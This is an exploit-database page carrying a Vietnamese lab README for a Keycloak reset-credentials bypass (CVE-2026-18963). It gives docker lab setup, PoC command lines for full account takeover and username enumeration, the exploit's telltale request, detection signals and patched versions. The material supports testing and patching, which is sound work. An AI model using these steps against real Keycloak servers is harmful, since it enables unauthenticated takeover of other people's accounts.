Sploitus

Exploit for CVE-2026-18963

githubexploit · 2026-08-25

Exploit Code

README179 lines
## https://sploitus.com/exploit?id=D4CFF858-A034-5F2B-97AD-49F95C4276FA
# CVE-2026-18963 

Keycloak reset-credentials bypass → unauthenticated account takeover  
**CVSS 9.1** | Ảnh hưởng: Keycloak 26.0.0 – 26.7.1

> Lab này tái dựng từ README gốc của `snizi/cve-2026-18963-exploit`  

---

## Cấu trúc

```
cve-2026-18963-lab/
├── cve_2026_18963_poc.py   ← PoC script (Python 3.9+, stdlib only)
└── README.md
├── docker-compose.yml  ← Dựng môi trường lab
├── realm-poc.json      ← Keycloak realm config 
```

---

## Yêu cầu

- Docker + Docker Compose
- Python 3.9+ (stdlib only, không cần cài thêm gì)
- Linux

---

## Bước 1: Dựng lab

```bash
cd lab/
chmod +x reset-victim.sh
docker compose up -d
OR chạy trực tiếp:
docker run -p 127.0.0.1:8080:8080 -e KC_BOOTSTRAP_ADMIN_USERNAME=admin -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin quay.io/keycloak/keycloak:26.7.1 start-dev

```



### Các service:

| Service     | URL                   | Version  | Tình trạng         |
|-------------|-----------------------|----------|--------------------|
| kc-vuln     | http://localhost:8080 | 26.7.1   | **VULNERABLE** ⚠️  |
| Mailpit     | http://localhost:8025 | latest   | Bắt email          |


### Credentials mặc định:


- Keycloak admin: `admin` / `admin`
- Victim user: `victim` / `OriginalPassw0rd!`
- Realm: `poc` | Client: `poc-app`
- Check config: Realm settings --> Login tab --> Forgot password is on
- Nếu chưa thấy realm:poc, user: victim có thể upload file json realm-poc.json tại: Manage realms --> Create realm --> Upload file.
---

## Bước 2: Chạy PoC

### Safe check (không cần username, không side effect):

```bash
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --safe-check
```

**Kết quả kỳ vọng trên kc-vuln:**  
`[!] VULNERABLE — email gate execution được serve`


---

### Non-destructive proof (dừng ở Update Password form):

```bash
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim --check
```

> Side effects: email reset gửi tới victim (xem tại http://localhost:8025),  
> `emailVerified` bị set `true`.

---

### Full takeover:

```bash
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim \
  --new-password 'PoCPassw0rd!1'
```

Sau khi chạy, verify bằng cách login vào http://localhost:8080/realms/poc/account  
với `victim` / `PoCPassw0rd!1`.

---

### Username enumeration:

```bash
echo -e "victim\nadmin\nnobody" > userlist.txt

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --enum userlist.txt
```

---

## Bước 3: Reset victim về trạng thái ban đầu

```bash
# Target kc-vuln
cd lab/ && ./reset-victim.sh

# Target kc-patched
KC=http://localhost:8100 ./reset-victim.sh
```

---

## Teardown

```bash
cd lab/
docker compose down -v
```

---

## Detection signals

| Signal | Hợp lệ | Exploit |
|--------|---------|---------|
| `GET /login-actions/action-token?...` | ✅ Có | ❌ Không có |
| `POST .../reset-credentials` với body `tryAnotherWay=yes` | ❌ Không có | ✅ Có |
| `SEND_RESET_PASSWORD` → `UPDATE_PASSWORD` cùng `code_id` < 2 giây | Hiếm | ✅ Luôn có |
| `emailVerified` flip `true` không có `VERIFY_EMAIL` event | ❌ | ✅ Luôn có |

Xem trong Mailpit (http://localhost:8025): email reset password sẽ đến hộp thư victim  
nhưng **link trong đó chưa bao giờ được click** khi exploit thành công.

---

## Phiên bản bị ảnh hưởng

| Dòng release | Bị ảnh hưởng     | Fix                   |
|--------------|------------------|-----------------------|
| ≤ 17 (WildFly) | Không            | —                     |
| 26.0 – 26.3  | 26.0.0 – 26.x.x  | Không có (phải lên 26.7.2) |
| 26.4         | 26.4.0 – 26.4.14 | 26.4.15 (vendor backport) |
| 26.5         | 26.5.0 – 26.5.7  | Không có              |
| 26.6         | 26.6.0 – 26.6.5  | 26.6.6 (vendor backport) |
| 26.7         | 26.7.0 – 26.7.1  | **26.7.2** ✅          |

---

## References

- Sploitus (README gốc): https://sploitus.com/exploit?id=A76D2FC5-1440-568B-81C2-B0213465485E  
- Keycloak issue: https://github.com/keycloak/keycloak/issues/51833  
- Fix PR: https://github.com/keycloak/keycloak/pull/51844  
- GHSA: GHSA-4gv3-mc9p-5wqc  
- Red Hat: https://access.redhat.com/security/cve/cve-2026-18963